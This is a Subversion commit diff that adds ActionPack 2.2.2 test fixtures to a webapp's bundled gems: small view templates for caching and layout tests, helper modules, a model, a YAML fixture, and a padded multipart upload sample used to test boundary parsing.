--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/fun/games/_game.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/fun/games/_game.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+<%= game.name %>
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/fun/games/hello_world.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/fun/games/hello_world.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/fun/games/hello_world.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+Living in a nested world
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/fun/serious/games/_game.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/fun/serious/games/_game.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/fun/serious/games/_game.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+<%= game.name %>
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/functional_caching/_partial.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/functional_caching/_partial.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/functional_caching/_partial.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,3 @@
+<% cache do %>
+Fragment caching in a partial
+<% end %>
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/functional_caching/formatted_fragment_cached.html.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/functional_caching/formatted_fragment_cached.html.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/functional_caching/formatted_fragment_cached.html.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,3 @@
+<body>
+<% cache do %><p>ERB</p><% end %>
+</body>
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/functional_caching/formatted_fragment_cached.js.rjs
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/functional_caching/formatted_fragment_cached.js.rjs	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/functional_caching/formatted_fragment_cached.js.rjs	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,6 @@
+page.assign 'title', 'Hey'
+cache do
+  page['element_1'].visual_effect :highlight
+  page['element_2'].visual_effect :highlight
+end
+page.assign 'footer', 'Bye'

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/functional_caching/formatted_fragment_cached.xml.builder
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/functional_caching/formatted_fragment_cached.xml.builder	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/functional_caching/formatted_fragment_cached.xml.builder	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,5 @@
+xml.body do
+  cache do
+    xml.p "Builder"
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/functional_caching/fragment_cached.html.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/functional_caching/fragment_cached.html.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/functional_caching/fragment_cached.html.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,2 @@
+Hello
+<% cache do %>This bit's fragment cached<% end %>

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/functional_caching/html_fragment_cached_with_partial.html.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/functional_caching/html_fragment_cached_with_partial.html.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/functional_caching/html_fragment_cached_with_partial.html.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+<%= render :partial => 'partial' %>
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/functional_caching/inline_fragment_cached.html.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/functional_caching/inline_fragment_cached.html.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/functional_caching/inline_fragment_cached.html.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,2 @@
+<%= render :inline => 'Some inline content' %>
+<% cache do %>Some cached content<% end %>

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/functional_caching/js_fragment_cached_with_partial.js.rjs
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/functional_caching/js_fragment_cached_with_partial.js.rjs	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/functional_caching/js_fragment_cached_with_partial.js.rjs	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+page.replace_html 'notices', :partial => 'partial'
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/good_customers/_good_customer.html.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/good_customers/_good_customer.html.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/good_customers/_good_customer.html.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+<%= greeting %> good customer: <%= good_customer.name %><%= good_customer_counter %>
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/helpers/abc_helper.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/helpers/abc_helper.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/helpers/abc_helper.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,5 @@
+module AbcHelper
+  def bare_a() end
+  def bare_b() end
+  def bare_c() end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/helpers/fun/games_helper.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/helpers/fun/games_helper.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/helpers/fun/games_helper.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,3 @@
+module Fun::GamesHelper
+  def stratego() "Iz guuut!" end
+end
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/helpers/fun/pdf_helper.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/helpers/fun/pdf_helper.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/helpers/fun/pdf_helper.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,3 @@
+module Fun::PdfHelper
+  def foobar() 'baz' end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/layout_tests/alt/hello.rhtml
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/layout_tests/alt/hello.rhtml	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/layout_tests/alt/hello.rhtml	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+alt/hello.rhtml

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/layout_tests/layouts/controller_name_space/nested.rhtml
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/layout_tests/layouts/controller_name_space/nested.rhtml	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/layout_tests/layouts/controller_name_space/nested.rhtml	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+controller_name_space/nested.rhtml <%= yield %>
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/layout_tests/layouts/item.rhtml
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/layout_tests/layouts/item.rhtml	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/layout_tests/layouts/item.rhtml	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+item.rhtml <%= yield %>
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/layout_tests/layouts/layout_test.rhtml
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/layout_tests/layouts/layout_test.rhtml	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/layout_tests/layouts/layout_test.rhtml	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+layout_test.rhtml <%= yield %>
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/layout_tests/layouts/multiple_extensions.html.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/layout_tests/layouts/multiple_extensions.html.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/layout_tests/layouts/multiple_extensions.html.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+multiple_extensions.html.erb <%= yield %>

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/layout_tests/layouts/third_party_template_library.mab
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/layout_tests/layouts/third_party_template_library.mab	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/layout_tests/layouts/third_party_template_library.mab	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+Mab
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/layout_tests/views/hello.rhtml
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/layout_tests/views/hello.rhtml	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/layout_tests/views/hello.rhtml	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+hello.rhtml
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/layouts/_column.html.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/layouts/_column.html.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/layouts/_column.html.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,2 @@
+<div id="column"><%= yield :column %></div>
+<div id="content"><%= yield %></div>
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/layouts/block_with_layout.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/layouts/block_with_layout.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/layouts/block_with_layout.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,3 @@
+<% render(:layout => "layout_for_partial", :locals => { :name => "Anthony" }) do %>Inside from first block in layout<% end %>
+<%= yield %>
+<% render(:layout => "layout_for_partial", :locals => { :name => "Ramm" }) do %>Inside from second block in layout<% end %>

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/layouts/builder.builder
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/layouts/builder.builder	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/layouts/builder.builder	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,3 @@
+xml.wrapper do
+  xml << @content_for_layout
+end
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/layouts/partial_with_layout.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/layouts/partial_with_layout.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/layouts/partial_with_layout.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,3 @@
+<%= render( :layout => "layout_for_partial", :partial => "partial_for_use_in_layout", :locals => {:name => 'Anthony' } ) %>
+<%= yield %>
+<%= render( :layout => "layout_for_partial", :partial => "partial_for_use_in_layout", :locals => {:name => 'Ramm' } ) %>
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/layouts/standard.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/layouts/standard.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/layouts/standard.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+<html><%= @content_for_layout %><%= @variable_for_layout %></html>
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/layouts/talk_from_action.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/layouts/talk_from_action.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/layouts/talk_from_action.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,2 @@
+<title><%= @title || @content_for_title %></title>
+<%= @content_for_layout -%>
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/layouts/yield.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/layouts/yield.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/layouts/yield.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,2 @@
+<title><%= yield :title %></title>
+<%= yield %>

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/mascot.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/mascot.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/mascot.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,3 @@
+class Mascot < ActiveRecord::Base
+  belongs_to :company
+end
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/mascots/_mascot.html.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/mascots/_mascot.html.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/mascots/_mascot.html.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+<%= mascot.name %>
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/mascots.yml
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/mascots.yml	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/mascots.yml	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,4 @@
+upload_bird:
+  id: 1
+  company_id: 1
+  name: The Upload Bird
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/multipart/binary_file
===================================================================
(Binary files differ)


Property changes on: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/multipart/binary_file
___________________________________________________________________
Name: svn:mime-type
   + application/octet-stream

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/multipart/boundary_problem_file
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/multipart/boundary_problem_file	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/multipart/boundary_problem_file	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,10 @@
+--AaB03x
+Content-Disposition: form-data; name="file"; filename="file.txt"
+Content-Type: text/plain
+
+bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb